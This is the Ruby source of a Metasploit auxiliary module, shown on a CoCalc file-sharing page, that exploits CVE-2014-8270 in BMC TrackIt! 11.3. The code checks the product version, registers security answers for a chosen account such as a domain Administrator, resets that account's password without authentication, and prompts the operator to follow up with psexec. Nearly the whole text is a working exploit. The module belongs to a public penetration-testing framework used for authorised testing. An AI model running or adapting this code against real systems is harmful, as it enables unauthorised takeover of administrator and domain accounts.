CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Auxiliary::Scanner
10
11
def initialize(info = {})
12
super(update_info(
13
info,
14
'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',
15
'Description' => %q(
16
This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
17
and possibly prior versions. If the password reset service is configured to use
18
a domain administrator (which is the recommended configuration), then domain
19
credentials can be reset (such as domain Administrator).
20
),
21
'References' =>
22
[
23
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
24
['CVE', '2014-8270']
25
],
26
'Author' =>
27
[
28
'bperry', # discovery/metasploit module,
29
'jhart'
30
],
31
'License' => MSF_LICENSE,
32
'DisclosureDate' => '2014-12-09'
33
))
34
35
register_options(
36
[
37
OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
38
OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),
39
OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),
40
OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
41
])
42
end
43
44
def localuser
45
datastore['LOCALUSER']
46
end
47
48
def password_reset
49
begin
50
uri = normalize_uri(target_uri.path, 'PasswordReset')
51
send_request_cgi('uri' => uri)
52
rescue => e
53
vprint_error("#{peer}: unable to request #{uri}: #{e}")
54
nil
55
end
56
end
57
58
def check_host(ip)
59
vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")
60
61
unless (res = password_reset)
62
return
63
end
64
65
if res.body =~ /<title>Track-It! Password Reset/i
66
version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first
67
if version
68
fix_version = '11.4'
69
if Rex::Version.new(version) < Rex::Version.new(fix_version)
70
report_vuln(
71
host: ip,
72
port: rport,
73
name: name,
74
info: "Module #{fullname} detected Track-It! version #{version}",
75
refs: references
76
)
77
vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")
78
return Exploit::CheckCode::Vulnerable
79
else
80
vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")
81
return Exploit::CheckCode::Safe
82
end
83
else
84
vprint_error("#{peer}: unable to get Track-It! version")
85
return Exploit::CheckCode::Unknown
86
end
87
else
88
vprint_status("#{peer}: does not appear to be running Track-It!")
89
return Exploit::CheckCode::Safe
90
end
91
end
92
93
def run_host(ip)
94
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
95
96
if datastore['DOMAIN'].blank?
97
vprint_status("#{peer}: retrieving session cookie and domain name")
98
else
99
vprint_status("#{peer}: retrieving domain name")
100
end
101
102
unless (res = password_reset)
103
return
104
end
105
106
cookies = res.get_cookies
107
if datastore['DOMAIN'].blank?
108
if res.body =~ /"domainName":"([^"]*)"/
109
domain = Regexp.last_match(1)
110
vprint_status("#{peer}: found domain name: #{domain}")
111
else
112
print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")
113
return
114
end
115
else
116
domain = datastore['DOMAIN']
117
end
118
119
full_user = "#{domain}\\#{localuser}"
120
vprint_status("#{peer}: registering #{full_user}")
121
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
122
res = send_request_cgi(
123
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
124
'method' => 'POST',
125
'cookie' => cookies,
126
'vars_post' => {
127
'domainname' => domain,
128
'userName' => localuser,
129
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
130
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
131
'updatequesChk' => 'false',
132
'SelectedQuestion' => 2,
133
'answer' => answers.last,
134
'confirmanswer' => answers.last
135
}
136
)
137
138
if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
139
print_error("#{peer}: Could not register #{full_user}")
140
return
141
end
142
143
vprint_status("#{peer}: changing password for #{full_user}")
144
145
if datastore['LOCALPASS'].blank?
146
password = Rex::Text.rand_text_alpha(10) + "!1"
147
else
148
password = datastore['LOCALPASS']
149
end
150
151
res = send_request_cgi(
152
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
153
'method' => 'POST',
154
'cookie' => cookies,
155
'vars_post' => {
156
'newPassword' => password,
157
'domain' => domain,
158
'UserName' => localuser,
159
'CkbResetpassword' => 'true'
160
}
161
)
162
163
if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
164
print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")
165
return
166
end
167
168
report_vuln(
169
host: ip,
170
port: rport,
171
name: name,
172
info: "Module #{fullname} changed #{full_user}'s password to #{password}",
173
refs: references
174
)
175
print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")
176
end
177
end
178
179